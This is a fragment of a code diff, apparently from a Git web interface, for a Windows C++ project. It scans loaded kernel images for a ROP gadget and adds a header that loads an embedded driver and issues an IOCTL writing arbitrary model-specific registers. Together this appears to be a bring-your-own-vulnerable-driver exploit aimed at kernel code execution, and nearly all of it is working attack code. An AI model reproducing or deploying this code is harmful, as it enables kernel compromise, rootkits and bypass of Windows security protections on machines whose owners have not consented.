!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

@ -0,0 +1,66 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "loadup.hpp"
#include "raw_driver.hpp"
#define IOCTL_WRMSR 0x229384
#pragma pack (push, 1)
typedef struct _write_msr_t
{
std::uint32_t reg;
std::uintptr_t value;
} write_msr_t, * pwrite_msr_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof raw_driver
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
std::string symlink("\\\\.\\" + key);
vdm::drv_handle = CreateFileA(
symlink.c_str(),
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> void
{
std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value };
DeviceIoControl
(
vdm::drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data,
&io_data, sizeof io_data,
(LPDWORD)&bytes_handled, nullptr
);
}
}
Loading…
Cancel
Save